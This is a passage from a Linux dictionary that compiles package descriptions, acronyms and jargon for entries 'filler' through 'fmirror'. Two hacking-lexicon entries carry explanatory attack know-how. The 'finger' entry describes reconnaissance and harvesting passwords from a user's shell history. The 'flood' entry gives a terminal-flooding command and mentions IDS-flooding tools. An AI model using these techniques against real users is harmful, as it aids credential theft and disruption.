<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

filler

Simple game in Java Filler is a simple two-player game written in java. The object of the game is to conquer more area of the playing board than your opponent. This game requires a java 2 runtime environment. Try www.blackdown.de or java.sun.com From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FILO

First In Last Out From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

filter

A program that filters local email via forward/pipe filter is one of the original mailfiltering programs written for UNIX. (originally a part of the 'elm' mailer) Install it via a pipe(l) reference in \$HOME/.forward, and let it separate your incoming email into different personal mailboxes. From

Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Filter

A program that reads data (from a file, program output or command line entry) as input, processes it according to a set of predefined conditions (for example, sorted alphabetically) and outputs the processed data. Some filters include Awk, Grep, Sed and Sort. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

filter

A program that takes a set of data (usually in a file) as input, processes the data, and makes the processed data its output. Some examples of filters include grep, sort, awk, and sed. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Filter

Any utility program that functions automatically to screen data. In electronic mail, you can use a filter to delete unwanted messages automatically. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Filter

Hardware or software designed to restrict access to certain areas on the Internet. From Glossary of Distance Education and Internet Terminology <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

filterproxy

A filtering proxy, which can among other things remove ads. FilterProxy is a Perl script that acts as a generic web proxy. It is unique in that it allows "Modules" to be installed that can perform arbitrary transformations on HTML (or any other mime-type). Currently it filters ads, and compresses HTML content (for a 5-1 speedup on modems!) Configuration is done with web forms. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

filters

a collection of filters, including B1FF and the Swedish Chef A collection of filters to do all sorts of strange things to text. This includes such favorites as B1FF and the Swedish Chef, and a wide range of others. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FIMAS

Financial Institution Message Authentication Standard (banking, ANSI) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

find

search for files in a directory hierarchy From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

find2perl

translate find command lines to Perl code From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

findaffix

Interactive spelling checking From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

findimagedupes

Finds visually similar or duplicate images findimagedupes is a commandline utility which performs a rough "visual diff" to two images. This allows you to compare two images or a whole tree of images and determine if any are similar or identical. The program can optionally export a GQView compatible collection file, so you can deal with the duplicates visually. On common image types, findimagedupes seems to be around 98% accurate. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

findutils

The findutils package contains programs which will help you locate files on your system. The find utility searches through a hierarchy of directories looking for files which match a certain set of criteria (such as a filename pattern). The locate utility searches a database (create by updatedb) to

quickly find a file matching a given pattern. The xargs utility builds and executes command lines from standard input arguments (usually lists of file names generated by the find command). You should install find utils because it includes tools that are very useful for finding things on your system. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

findutils

The findutils package contains programs which will help you locate files on your system. The find utility searches through a hierarchy of directories looking for files which match a certain set of criteria (such as a filename pattern). The xargs utility builds and executes command lines from standard input arguments (usually lists of filenames generated by the find command). From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

findutils

utilities for finding files—find, xargs, and locate These utilities find files meeting specified criteria and perform various actions on the files which are found. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Finger

A Unix command that provides information about users logged in, and can also be used to retrieve the .plan and .project files from a users home directory. From KADOWKEV <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

finger

A user information lookup program that shows a person's full name, most recent log-in time, and other information. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Finger

An Internet software tool for locating people on other Internet sites. Finger is also sometimes used to give access to non-personal information, but the most common use is to see if a person has an account at a particular Internet site. Many sites do not allow incoming Finger requests, but many do. From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Finger

An Internet utility that enables you to obtain information about a use who has an electronic mail address. Normally, this information is limited to the person's full name, job title, and address. However, the use can set up finger to retrieve one or more text files that contain information (such as a resume) that the user wants to make public. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

finger

Finger is a utility that displays information about system users (login name, home directory, name, how long they have been logged in, etc.). The finger package includes a standard finger client. You should install finger if you would like to retrieve finger information from other systems. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

finger

In UNIX, the finger service provides information about a users. Fingering a user, such as running the command "finger rob@robertgraham.com", will often display the contents of the .plan file. Fingering no specific user, such as finger @robertgraham.com, will list all the users who are logged on. Fingering users is often done during the reconnaissance phase of an attack. Example: The following shows the output of the command "finger rob@rh5.robertgraham.com": Login: rob Name: Robert David Graham Directory: /home/rob Shell: /bin/bash On since Fri Dec 3 18:13 (PST) on tty0 from gemini No mail. No Plan Key point: The finger command reveals extensive information. For example, if I were attacking the above machine, I would notice that the user is running bash Therefore, I may try something like http://rh5.robertgraham.com/ against the user, which in about 1% of the cases will give me a history file of recent commands they've entered, which may contain passwords and such. Key point: There are a number of fun things you can do with finger. The first is that you can use the "finger bounce" technique. Finger servers will often forward requests for you.

- FIP** Facility Interface Processor From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- FIP** Factory Instrumentation Protocol From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- FIP** Fluorescent Indicator Panel From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- FIPA** Foundation for Intelligent Physical Agents (org., Agents) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- FIPS** Federal Information Processing Standard (NIST, USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- FIR** Fast IRDA (IRDA) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- FIR** Finite Impulse Response (DSP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- FIRE** FIRE is a portable bootable cdrom based distribution with the goal of providing an immediate environment to perform forensic analysis, incident response, data recovery, virus scanning and vulnerability assessment. The initial version (v.0.1.0.5b) was released February 28, 2002. FIRElite v0.2b was released August 19, 2002. A CD-based distribution. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- FIRE** Flexible Intelligent Routing Engine (3Com) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- FireCast** FireCast is a Linux-based software suite for building and managing interactive kiosk networks. It is designed for use with standard PC hardware, and bundles a tamper-resistant kiosk environment, customizable user interface, Web browser, and full multimedia support with a plug-and-play Linux operating system. It also includes a complete set of Web-based remote management and advertising control tools for scheduling content, monitoring device status, and creating and tracking ad campaigns. It requires no prior knowledge of Linux, and uses a familiar graphical interface for all administrative functions. This is a proprietary package, with a free trial. Version 2.0 was released August 31, 2002. A 'special purpose/mini' distribution. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- Firegate Server** The Firegate Server SMB Edition from Wiresoft is a self-managing server operating system designed for small and mid-sized businesses. It securely connects offices to the Internet and to each other, protecting valuable electronic information. Office staff can securely surf the web, send and receive email, host the company Web site, share files, host a customer database, and more. It is controlled through a simple Web browser or mobile telephone interface and managed by an artificial intelligence-based administration service. This package contains proprietary software. Version 7.1 was released September 25, 2002. A 'secured' distribution. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- firestarter** gtk program for managing and observing your firewall. Firestarter is a complete firewall tool for Linux machines. It features an easy to use firewall wizard to quickly create a firewall. Using the program you can then open and close ports with a few clicks, or stealth your machine giving access only to a select few. The real-time hit monitor shows attackers probing your machine. Firestarter is made for the GNOME desktop. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Firewall

A combination of hardware and software that separates a Network into two or more parts for security purposes. From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

firewall

A device that isolates a network from the Internet. The word is derived from construction, where "firewalls" isolate areas of a building in order to stop a fire from spreading. A firewall acts as a "choke point". Corporations install firewalls between their internal (private) networks and the (public) Internet. All traffic between the corporation and the Internet flows through the firewall. It acts as a "gate" with virtual guards that examines the traffic, and decided whether to allow it or block it. Misunderstanding: Many people believe that a firewall makes your network immune to hacker penetration. Firewalls have no ability to decide for themselves whether traffic is hostile or benign. Instead, the administrator must program the firewall with rules as to what type of traffic to allow or deny. This is similar to a guard checking badges at a gate: the guard can only detect if the badge is allowed/denied, but cannot detect impersonations or somebody climbing the fence in the back. Key point: Firewalls are based on the principle of blocking everything by default and only allowing those things that are absolutely necessary. Key point: Firewall administrators are frequently at odds with their management. Executives are frequently frustrated by things that don't work in the network. They don't understand how difficult it is to secure each new application, or the increased risks involved. Controversy: A lot of time is wasted on trying to come up with the exact definition of the word "firewall", usually by marketing flaks or nerds with attitude. The term isn't well defined. Most people equate firewalls with packet filters. Others include proxy servers and NATs along with the definition. Misunderstanding: A common question posed is "what is the best firewall?". People who ask the question mean "what stops hackers the best?". This is based upon the same misunderstanding highlighted above: firewalls isolate you from the Internet in the hopes of reducing exposure to hackers. The best firewall that will protect you best from hackers is therefore to completely isolate yourself from the Internet (i.e. don't use the Internet at all). If you want to use the Internet, then you will have some risk due to hackers that firewalls cannot prevent. For example, if you tell the firewall to accept incoming e-mail, then you are suddenly at risk to hacks against e-mail (either viruses, or attempts to force spam through your server). Therefore, the most secure firewall tends to be the cheapest, such as the basic packet filters built into most routers and operating systems. The more expensive firewalls allow you to secure more applications through the firewall, but the more features that you use, the more applications you expose, and ultimately the more risk you undertake. Misunderstanding: Some vendors are selling personal firewalls. This is based upon the misconception highlighted above: firewalls do not block hacker traffic, they are instead a (blunt) tool that allows security administrators to reduce risk. Putting packet filters in the hands of end-users doesn't give them the necessary expertise to secure their systems against hackers. There is also the issue that properly configuring a firewall is actually more difficult than hardening a single machine in the first place. It is only worthwhile because one firewall controls access to hundreds/thousands of machines. Putting a single firewall on a single machine isn't really worth the effort. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

firewall

a device that protects a private network from the public part (the internet as a whole). From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Firewall

A firewall is a structure intended to keep a fire from spreading. Building have firewalls made of brick walls completely dividing sections of the building. In a car a firewall is the metal wall separating the engine and passenger compartments. Internet firewalls are intended to keep the flames of Internet hell out of your private LAN. Or, to keep the members of your LAN pure and chaste by denying them access the all the evil Internet temptations. ;-) The first computer firewall was a non-routing Unix host with connections to two different networks. One network card connected to the Internet and the

other to the private LAN. To reach the Internet from the private network, you had to log on to the firewall (Unix) server. You then used the resources of the system to access the Internet. For example, you could use X-windows to run Netscape's browser on the firewall system and have the display on your work station. With the browser running on the firewall it has access to both networks. This sort of dual homed system (a system with two network connections) is great if you can TRUST ALL of your users. You can simple setup a Linux system and give an account accounts on it to everyone needing Internet access. With this setup, the only computer on your private network that knows anything about the outside world is the firewall. No one can download to their personal workstations. They must first download a file to the firewall and then download the file from the firewall to their workstation. BIG NOTE: 99% of all break-ins start with gaining account level access on the system being attacked. Because of this I don't recommend this type of firewall. It is also very limiting. From Firewall-HOWTO <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Firewall

A firewall is used on some networks to provide added security by blocking access to certain services in the private network from the rest of the internet, in the same way that a firewall in a building keeps fire from spreading, an internet firewall keeps hackers from spreading. From KADOWKEV <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Firewall

A security procedure that places a specially programmed computer system between an organisation's Local Area Network (LAN) and the Internet. The firewall computer prevents crackers from accessing the internal network. Unfortunately, it also prevents the organisation's computer users from gaining direct access to the Internet. The access the the firewall provides is indirect and mediated by programs called proxy servers. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

firewall

An access system that keeps unauthorized users from accessing resources on a local private network. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

firewall machine

n. A dedicated gateway machine with special security precautions on it, used to service outside network connections and dial-in lines. The idea is to protect a cluster of more loosely administered machines hidden behind it from crackers. The typical firewall is an inexpensive micro-based Unix box kept clean of critical data, with a bunch of modems and public network ports on it but just one carefully watched connection back to the rest of the cluster. The special precautions may include threat monitoring, callback, and even a complete iron box keyable to particular incoming IDs or activity patterns. Syn. flytrap, Venus flytrap. [When first coined in the mid-1980s this term was pure jargon. Now (1999) it is techspeak, and has been retained only as an example of uptake --ESR] From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

firewall-easy

Easy to use packet filter firewall (usually zero config) Firewall easy is a set of scripts to setup firewalling rules with ease of use in mind. Features: – It can be used at home, and in Intranet servers – Autodetection of IP, net/mask, and DNS servers in resolv.conf and in bind (cache-dns) – Configures masquerading so a network can be connected to Internet – interfaces and IP can be configured in /etc/firewall-easy.conf – rules are in a easy/portable language in /etc/firewall-easy-lib It has been designed to allow: – testing of rules offline using an alias IP of 1.1.1.1 – multi-kernel usage (2.0 ipfwadm and 2.4 iptables easy to add) – firewall script is generated from a user-configured file From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FIRMR

Federal Information Resources Management Regulations (USA) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

firmware

/ferm'veir/ n. Embedded software contained in EPROM or flash memory. It isn't quite hardware, but at least doesn't have to be loaded from a disk like regular software. Hacker usage differs from straight

techspeak in that hackers don't normally apply it to stuff that you can't possibly get at, such as the program that runs a pocket calculator. Instead, it implies that the firmware could be changed, even if doing so would mean opening a box and plugging in a new chip. A computer's BIOS is the classic example, although nowadays there is firmware in disk controllers, modems, video cards and even CD-ROM drives. From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Firmware

Broadly, the system software stored in a computer's read-only memory (ROM) or elsewhere in the computer's circuitry, such as the basic input-output system (BIOS) chips in IBM PC-compatible computers. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

firmware

Programming that is inserted into programmable read-only memory (PROM), thus becoming a permanent part of a computing device. Firmware is created and tested like software (using microcode simulation). When ready, it can be distributed like other software and, using a special user interface, installed in the programmable read-only memory by the user. Firmware is sometimes distributed for printers, modems, and other computer devices. From Linux Guide @FirstLinux

flac

Free Lossless Audio Codec – command line tools FLAC stands for Free Lossless Audio Codec. Grossly oversimplified, FLAC is similar to MP3, but lossless. The FLAC project consists of: * The stream format * libFLAC, which implements a reference encoder, stream decoder, and file decoder * flac, which is a command–line wrapper around libFLAC to encode and decode .flac files * Input plugins for various music players (Winamp, XMMS, and more in the works) This package contains the command–line tool, flac From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FLACC

Full Level Algol Checkout Compiler From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Flag

A variable that serves as an indicator about the status of a program or some data. A flag in a database record might be true if the other fields in the record show that a videotape is overdue, for example. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

flag

n. [very common] A variable or quantity that can take on one of two values; a bit, particularly one that is used to indicate one of two outcomes or is used to control which of two things is to be done. "This flag controls whether to clear the screen before printing the message." "The program status word contains several flag bits." Used of humans analogously to bit. See also hidden flag, mode bit. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Flame

An offensive or insulting e–mail or Usenet News message, often the result of an error in netiquette. From KADOWKEV <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FLAME

FLexible API for Module–based Environments (RL, API) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Flat

Lacking elaborate structure. A file system without subdirectories in which you can group files is said to be flat. Such systems have not been used since the earliest days of personal computing. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Flat address space

A method of organising a computer's memory so the operating system can allocate portions of the memory without restriction. The opposite of a flat address space is the segmented memory architecture of MS–DOS and Microsoft Windows 3.1, which divide memory into 64K sections (called segments). A flat memory space design is more efficient because the processor does not have to map each

memory address to a specific 64K segment, but such a design requires the use of 32-bit memory addresses. Microsoft Windows 95, which employs 32-bit memory addresses, creates a flat address space for your applications. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

flavor

n. 1. [common] Variety, type, kind. "DDT commands come in two flavors." "These lights come in two flavors, big red ones and small green ones." "Linux is a flavor of Unix" See vanilla. 2. The attribute that causes something to be flavorful. Usually used in the phrase "yields additional flavor". "This convention yields additional flavor by allowing one to print text either right-side-up or upside-down." See vanilla. This usage was certainly reinforced by the terminology of quantum chromodynamics, in which quarks (the constituents of, e.g., protons) come in six flavors (up, down, strange, charm, top, bottom) and three colors (red, blue, green) — however, hackish use of `flavor' at MIT predated QCD. 3. The term for `class' (in the object-oriented sense) in the LISP Machine Flavors system. Though the Flavors design has been superseded (notably by the Common LISP CLOS facility), the term `flavor' is still used as a general synonym for `class' by some LISP hackers. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

flawfinder

examines source code and looks for security weaknesses Flawfinder searches through C/C++ source code looking for potential security flaws, ranking them by likely severity. Flawfinder intentionally works similarly to another program, ITS4, which is not open source. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FLC

Ferroelectric Liquid Crystal From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FLEA

Four Letter Extended Acronym From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

flea

Report a bug (or rather a flea) in mutt. From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

flex

A fast lexical analyzer generator. flex is a tool for generating scanners: programs which recognized lexical patterns in text. flex reads the given input files for a description of a scanner to generate. The description is in the form of pairs of regular expressions and C code, called rules. flex generates as output a C source file, lex.yy.c, which defines a routine yylex(). This file is compiled and linked with the -lfl library to produce an executable. When the executable is run, it analyzes its input for occurrences of the regular expressions. Whenever it finds one, it executes the corresponding C code. This product includes software developed by the University of California, Berkeley and its contributors. The upstream source code can be found at <ftp://ftp.gnu.org/pub/non-gnu/flex/> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

flex

fast lexical analyzer generator From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

flex

The flex program generates scanners. Scanners are programs which can recognize lexical patterns in text. Flex takes pairs of regular expressions and C code as input and generates a C source file as output. The output file is compiled and linked with a library to produce an executable. The executable searches through its input for occurrences of the regular expressions. When a match is found, it executes the corresponding C code. Flex was designed to work with both Yacc and Bison, and is used by many programs as part of their build process. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

flex++

fast lexical analyzer generator From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FLEXIP

FLEXible Internet Protocol (Novell, Netware), "FLEx/IP" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

flexmem

File Transfer to Flex.Memory on Siemens GSM Mobiles Application to access the Flex.Memory on Siemens GSM Mobiles via the OBEX Protocol over IrDA or Serial link, maybe bluetooth. The Object Exchange protocol can best be described as binary HTTP. OBEX is optimised for ad-hoc wireless links and can be used to exchange all kind of objects like files, pictures, calendar entries (vCal) and business cards (vCard). OBEX is builtin in devices like PDA's like the Palm Pilot, and mobile phones like the Ericsson R320, Siemens S25, Siemens S45, Siemens ME45, Nokia NM207 and Nokia 9110 Communicator. This application should work with other equipment like other mobiles, palm pdas etc., too, that use this generic protocol. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

flexml

Generate fast validating XML processors and applications. FleXML makes it easy to generate very fast validating XML processors as flex(1) source. By design it can only handle documents using an external DTD. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Fli4l (Floppy ISDN/DSL)

"the on(e)-disk-router". Website in German and English. Fli4l is a single floppy Linux-based ISDN, DSL and Ethernet-Router. You can build it from an old 486 based pc with 16 megabyte memory, which is more than adequate for this purpose. Development version 2.1.2 was released February 15, 2003. Stable version 2.0.8 was released April 27, 2003. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

flick

Flexible IDL Compiler Kit Flick is a flexible and optimizing compiler for interface definition languages (IDLs). Flick can read a high-level specification describing an interface to a software component or module, and from that, produce a special functions called stubs to implement the interface in the C or C++ programming language. More information can be found at the FLICK web site <http://www.cs.utah.edu/flux/flick/>. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

flightgear

Flight Gear Flight Simulator Flight Gear is a free and highly sophisticated flight simulator. This package contains the runtime binaries. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FlightLinux

FlightLinux is a concept that uses a real-time variation of the open source Linux Operating System for onboard spacecraft use. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FLIM

Faithful Library about Internet Message (EMACS, GNU) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

flim

Library to provide basic features about message for Emacsen FLIM is a library to provide basic features about message representation or encoding for Emacsen. FLIM is conflicts with Standard Gnus. Do not use with Gnus of Emacs20. If you want to use with gnus, please install semi-gnus package. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

flin

Menuing system with fvwm-like syntax A color, ncurses-based menu system, intended to be an easy login shell for new users. It understands the simple menu syntax that was once used by fvwm-1.xx. Flin means "Flin's a Learners Interface to 'Nix Systems." From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

flink

Mail-checking GNOME applet supporting multiple accounts The Flink mail checker is a small applet for the GNOME panel. It features support for multiple accounts, so that you will not need to have several applets for checking different accounts, Flink is capable to have (almost) an infinite amount of accounts configured. Flink supports POP3, IMAPv4 and mbox right now. Support for other types of mail accounts will be added in time. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

flip

convert text file line endings between Unix and DOS formats This program converts line endings of text files between MS-DOS and **IX formats. It detects binary files in a nearly foolproof way and leaves them alone unless you override this. It will also leave files alone that are already in the right format and preserves file timestamps. User interrupts are handled gracefully and no garbage or corrupted files left behind. 'flip' does not convert files to a different character set, and it can not handle Apple Macintosh line endings (CR only). For that (and more), you can use the 'recode' program (package 'recode'). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

floatbg

slowly modify the color of the X root window Subtly changes the color of the root window over time, so slowly that it won't be noticed. This is a good alternative to placing a picture in the root window. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

flood

A class of hacker attack whereby the victim is flooded with information. Examples: The DDoS attacks of early 2000 Major websites were flooded with traffic, clogging their 1-gbps high-bandwidth Internet connections. IRC A user in the chat room is flooded with commands, or the user's client is triggered into flooding the server with commands. Either way, the user has to log out or is kicked off. RaLF In the olden days, a UNIX command that looks like `ls / -RaLF > /dev/tty1` would flood a user's terminal with huge quantities of text, forcing them to logout. stick/snot By generating a steady stream of spoofed, random/meaningless attacks, these tools flood the IDS console, making it impossible for the operator to discover real attacks. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

flood

v. [common] 1. To overwhelm a network channel with mechanically-generated traffic; especially used of IP, TCP/IP, UDP, or ICMP denial-of-service attacks. 2. To dump large amounts of text onto an IRC channel. This is especially rude when the text is uninteresting and the other users are trying to carry on a serious conversation. Also used in a similar sense on Usenet. 3. [Usenet] To post an unusually large number or volume of files on a related topic. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Floppix

Floppix is a teaching tool; it is a very small subset of Debian/ GNU Linux that fits on two 3.5 in. 1.4Mb diskettes. The current version is derived from Debian 2.1 (slink), providing a platform to practice Linux commands and experiment with simple system administration. A floppy-based distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

floppy disk

See diskette. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

floppybackup

Floppy backup using a diversity of floppy formats This little package was hacked together because all the more sophisticated backup systems were more suited for tape drives and such, and even if they supported floppies, verify mode was either lacking or missing, and mixed-size floppies caused problems. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

floppycontrol

floppy driver configuration utility TQ From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

floppyd

Daemon for remote access to floppy drives Floppyd is used as a server to grant access to the floppy drive to clients running on a remote machine, just as an X server grants access to the display to remote clients. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

floppyfw

floppyfw is a static router with firewall capabilities. Suitable for use as a screening router or as a packet filtering firewall. Version 2.0.3 was released October 3, 2002. Stable version 2.0.5 was released June 18, 2003. Development version 2.9.1 was released February 14, 2003. A floppy-based distribution. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

floppymeter

measure raw capacity and exact rotation speed of floppy drive TQ From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FLOPS

A measure of processor performance based on floating point operations per second. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FLOPS

FLloating-point Operations Per Second (CPU) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Flow control

A method of ensuring that the data device such as a modem or a computer system sends does not overwhelm the receiving device, such as a modem. Software handshaking (also XON/XOFF handshaking) regulates communications between two modems. Hardware handshaking (CTS/RTS) regulates data flow between the computer and the modem. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FLP

Fast Link Pulse (ethernet, LAN, NLP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

flphoto

flphoto is a basic photo/image management and display program. – Download of photos from digital cameras or usual file systems – Organization in albums – Loss-less rotation for portrait-oriented photos – Basic correction tasks – Printing series of photos (full access to printer settings):
o Index prints
o 1, 2, or 4 equally-sized images per page
o 8 photos in different sizes on one page
o Calendar: 1 photo per month
o Framed/Matted photos – Slide-show with manual or automatic advancing – Web album generation – Integration of GPhoto2 and CUPS From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FLS

??? From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

flush

v. 1. [common] To delete something, usually superfluous, or to abort an operation. "All that nonsense has been flushed." 2. [Unix/C] To force buffered I/O to disk, as with an fflush(3) call. This is not an abort or deletion as in sense 1, but a demand for early completion! 3. To leave at the end of a day's work (as opposed to leaving for a meal). "I'm going to flush now." "Time to flush." 4. To exclude someone from an activity, or to ignore a person. `Flush' was standard ITS terminology for aborting an

output operation; one spoke of the text that would have been printed, but was not, as having been flushed. It is speculated that this term arose from a vivid image of flushing unwanted characters by hosing down the internal output buffer, washing the characters away before they could be printed. The Unix/C usage, on the other hand, was propagated by the `fflush(3)` call in C's standard I/O library (though it is reported to have been in use among BLISS programmers at DEC and on Honeywell and IBM machines as far back as 1965). Unix/C hackers found the ITS usage confusing, and vice versa. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fluxbox

Highly configurable and low resource X11 Window manager Fairly similar to blackbox, from which it is derived, but has been extended with features such as `pwm`-style window tabs, configurable key bindings, toolbar, and an iconbar. It also includes some cosmetic fixes over blackbox. This package contains support for Gnome and KDE. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

flwm

Fast Light Window Manager Flwm is an attempt to combine the best ideas from several window managers. The primary influence and code base is from `wm2` by Chris Cannam. Primary features copied from `wm2` are: – Does not look like Windoze. – Nifty sideways titlebars. – No icons. You deiconize by picking off a pop-up menu. This means no space is wasted by icons. – Really small and fast code. It is enhanced by the author's own further nutty ideas: – Does not use shape extension, more standard resize handles. – Occupies as little screen space as possible. The border and titles are as thin as I could possibly make them. And maximized windows waste only 15 pixels horizontally and zero (count'em) pixels vertically! – Independent maximize buttons for width & height, close button. – Understands Motif, KDE, and Gnome window manager hints. – Multiple desktops, controlled from the same menu as the icons. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

flying

pool/snooker/carrom/hockey/curling simulator for X11 Especially the billiards variants are very playable and nice. The only drawback is that there are no rules implemented so you have to know them yourself :-) NOTE: The game will only run on a screen with 8 bit color depth (256 colors); displays with a color depth above 8 won't work. You've got to switch to a 8 bit display before playing the game or with XFree4.0 you could use an 8 bit overlay if available. The original author has abandoned the game so it's unlikely that the color depth problem will get fixed anytime soon. If you are able to fix the game for other depths please send the patch. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Flying Linux

Flying Linux was originally based on Bambi. This wireless distribution is oriented to security in wireless environments and mobility. Unfortunately it looks defunct (20020605). A 'wireless' distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FM

Frequenz-Modulation From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FMA

Federated Management Architecture (Java) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fmirror

